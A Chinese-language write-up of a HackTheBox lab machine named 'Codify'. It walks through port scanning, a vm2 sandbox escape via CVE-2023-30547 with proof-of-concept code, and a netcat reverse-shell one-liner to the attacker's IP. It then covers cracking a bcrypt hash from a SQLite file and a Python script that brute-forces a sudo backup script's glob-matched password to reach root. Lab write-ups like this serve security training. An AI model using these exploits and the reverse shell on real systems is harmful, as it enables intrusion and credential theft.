文章目录
- 1 端口扫描
- 2 80端口探测
- 3 利用CVE-2023-30547获取权限
- 4 权限提升
Codify 测试过程
1 端口扫描
nmap -sC -sV 10.129.59.150
端口扫描,发现开启了22、80、3000三个端口:
22端口
:没有账号密码,暂时不考虑进行测试
80端口
:添加hosts信息后,访问寻找漏洞
3000端口
:Node.js Express framework组件,可能也有可利用点
2 80端口探测
2.1 访问web站点
直接访问10.129.59.150,页面跳转到codify.htb,但是无法访问,编辑/etc/hosts:
10.129.59.150 codify.htb
在web页面发现一个允许我们在沙箱环境中执行 Node js 代码的功能。并且正在使用vm2 库在沙箱环境中运行 Javascript 代码。
Vm2
:
Vm2是一个库,为执行 JavaScript 代码提供安全的沙盒环境,主要用于 Node.js 等服务器端环境。它允许在受控环境中创建和运行 JavaScript 代码,通过将代码执行与主应用程序隔离来提供额外的安全层。因此,可以执行潜在不安全或不受信任的代码,而不会影响托管应用程序的稳定性或安全性。
当 vm2 位置不存在时,使用 Eval(一个 JS 函数)代替 vm2 位置,这会导致一些严重的安全问题。eval 和 vm2 库都与动态执行 JavaScript 代码相关。但如果用户输入直接传递给eval,则可以允许任意代码执行,而vm2提供了沙箱环境并限制对特定全局对象或函数的访问。
CVE-2023-30547
:
为了防止主机异常泄漏到 vm2 沙箱中,使用Transformer()函数对代码进行预处理,该函数添加了handleException()清理函数调用。然而,该漏洞与 CatchClause 和 ObjectPattern 有关。
发生这种情况时,代码会调用handleException(),然后在嵌套的try-catch 块中重新抛出清理后的异常。用于清理, handleException()调用thisReflectGetPrototypeOf() ,这是一个使用Reflect.getPrototypeOf( )访问对象原型的函数。
此步骤对于正确的沙箱功能非常重要。当原型对象被代理并且存在getPrototypeOf()代理处理程序时,就会出现问题。这可能会引发未经处理的主机异常,然后由外部 catch 语句捕获该异常。 攻击者可以通过在getPrototypeOf()
代理处理程序内引发非代理主机异常来利用这一点。他们可以将其注册到一个对象并抛出它,从而将主机异常泄漏到沙箱中。通过访问泄露的主机异常,攻击者有可能逃离沙箱并获得对主机功能的访问权限,从而危及环境安全。简而言之,当主机环境中的异常可能泄漏到沙箱中时,就会出现此漏洞。由于使用ObjectPattern处理CatchClause ,可能会发生这种情况。为了利用此漏洞,攻击者可以使用特定技术引发主机异常,从而逃脱沙箱并访问主机功能。这会影响 3.9.16 及之前的 vm2 版本。成功利用该漏洞可以让攻击者绕过沙箱并执行任意代码。
2.2 CVE-2023-30547漏洞利用
1.CVE-2023-30547漏洞验证poc地址:
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('cat /etc/passwd');
}
`
console.log(vm.run(code));
证明此处确实存在CVE-2023-30547漏洞。
3 利用CVE-2023-30547获取权限
1.利用CVE-2023-30547漏洞进行反弹shell
# 攻击端执行监听
ncat -lnvp 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f
获取一个交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
2.查看服务器文件
在 /var/www/contact 的 Web 目录中,有一个名为 Tickets.db 的SQLite 数据库文件。并且存在用户名和密码hash。
使用 strings 实用程序从二进制 SQLite 文件中提取任何可读字符串:
strings tickets.db
用户:joshua
密码hash:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
3.使用john爆破密码hash
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > joshua_hash.txt
john --wordlist=rockyou.txt joshua.txt
john --show joshua.txt
4.ssh登录joshua用户
ssh joshua@10.129.59.150
spongebob1
4 权限提升
1.执行sudo -l
# 显示出自己(执行 sudo 的使用者)的权限
sudo -l
2.mysql-backup.sh分析
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
脚本的这一部分将用户提供的密码 (USER_PASS) 与实际的数据库密码 (DB_PASS) 进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。
例如,如果实际密码 (DB_PASS) 是 password,但是用户输入 * 作为其密码 (USER_PASS),则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。
3.编写脚本爆破密码
vim test.py
chmod +x test.py
python3 test.py
# test.py
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
4.切换到root权限
su root
kljh12k3jhaskjh12kjh3